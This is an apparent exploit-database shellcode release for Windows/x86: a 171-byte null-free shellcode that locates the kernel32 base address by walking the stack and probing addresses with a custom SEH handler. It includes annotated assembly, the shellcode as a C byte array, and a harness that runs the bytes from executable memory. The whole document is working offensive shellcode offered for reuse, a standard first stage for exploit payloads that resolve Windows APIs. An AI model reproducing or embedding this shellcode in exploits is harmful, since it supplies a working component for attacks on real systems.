# Shellcode Title: Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes) # Description: # This shellcode is a new method to find kernel32 base address by walking down the stack and look for a possible Kernel32 address using custom SEH handler. # Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address. # Date: 2/5/2022 # Shellcode Author: Tarek Ahmed # Tested on: Microsoft Windows 7, and 10 /* MIT License Copyright (c) 2022 Tarek Ahmed Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. sub esp, 8 xor eax, eax cdq xchg edx, ecx StackWalk : mov ebx, [esp + ecx] ; Walking down the stack to find a possible kernel32 pointer mov edx, ebx shr ebx, 28 ; Shift right 28 to get the last digit in the address, (looking for 7) add ecx, 4 cmp ebx, 7 ; is it 7 ? jne StackWalk jmp short checking checkAddress : push ebp mov ebp, esp jmp rev1 ; jmp down to rev1 and up again to avoid null bytes and get the address of next instruciton. reverse: pop eax jmp eax rev1: call reverse add eax, 0x1e push eax xor edi, edi push dword ptr FS : [edi] ; Push FS[0] SEH mov dword ptr fs : [edi] , esp ; set up or SEH stack mov eax, dword ptr ss : [ebp + 8] xchg eax, esi ; We want to call [esi] instead of [eax] next to avoid null bytes mov eax, dword ptr ds : [esi] xor eax, eax jmp short cleanseh xor eax, eax inc eax mov esp, dword ptr fs : [edi] mov esp, dword ptr ss : [esp] cleanseh : pop dword ptr fs : [edi] add esp, 4 pop ebp ret checking: mov [ebp-0xc], ecx push edx ; Push the address we want to check if it's valid or not call checkAddress ; call the custom SEH function test eax, eax ; is it valid ? 0 ? je valid mov ecx, [ebp-0xc] jmp short StackWalk valid : mov ecx, [ebp-0xc] mov ax, 0xffff ; We want to subtract 0x10000 from the address we found 0xffff + 1 = 0x10000 inc eax findMZ: sub edx, eax ; Sub 0x10000 from the possible address mov dx, ax mov ax, [edx] cmp ax, 0x5a4d ; check for MZ to make sure it's a DLL file. jne findMZ ; If not, subtract one more 0x10000 to get a different section. xchg edx, ebx mov edi, [ebx + 0x3c] ; Walk the PE file add edi, ebx mov edi, [edi + 0x78] add edi, ebx mov edi, [edi + 0xc] add edi, ebx add edi, 4 xor eax, eax push eax push 0x6c6c642e ; string .dll push 0x32334c45 ; string EL32 = EL32.dll short for KERNEL32.dll mov esi, esp checkKernel : mov edx, ecx mov cl, 8 ; Compare string to KERNEL32.dll EDI ==> KERNEl32.dll cld repe cmpsb test ecx, ecx je foundKernel ; if equal, jmp to foundKernel mov ecx, edx jmp StackWalk foundKernel : ; Kernel32 base address should be in EBX if you reach this line. */ #include #include #include #include unsigned char code[] = "\x83\xEC\x08\x31\xC0\x99\x87\xCA\x8B\x1C\x0C\x89\xDA\xC1\xEB\x1C\x83\xC1\x04\x83\xFB\x07\x75\xF0\xEB\x34\x55\x89\xE5\xEB\x03\x58\xFF\xE0\xE8\xF8\xFF\xFF\xFF\x83\xC0\x1E\x50\x31\xFF\x64\xFF\x37\x64\x89\x27\x8B\x45\x08\x96\x8B\x06\x31\xC0\xEB\x09\x31\xC0\x40\x64\x8B\x27\x8B\x24\x24\x64\x8F\x07\x83\xC4\x04\x5D\xC3\x89\x4D\xF4\x52\xE8\xC3\xFF\xFF\xFF\x85\xC0\x74\x05\x8B\x4D\xF4\xEB\xA8\x8B\x4D\xF4\x66\xB8\xFF\xFF\x40\x29\xC2\x66\x89\xC2\x66\x8B\x02\x66\x3D\x4D\x5A\x75\xF2\x87\xDA\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB1\x08\xFC\xF3\xA6\x85\xC9\x74\x07\x89\xD1\xE9\x5D\xFF\xFF\xFF" ; int main() { void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, code, sizeof(code)); ((void(*)())exec)(); return 0; }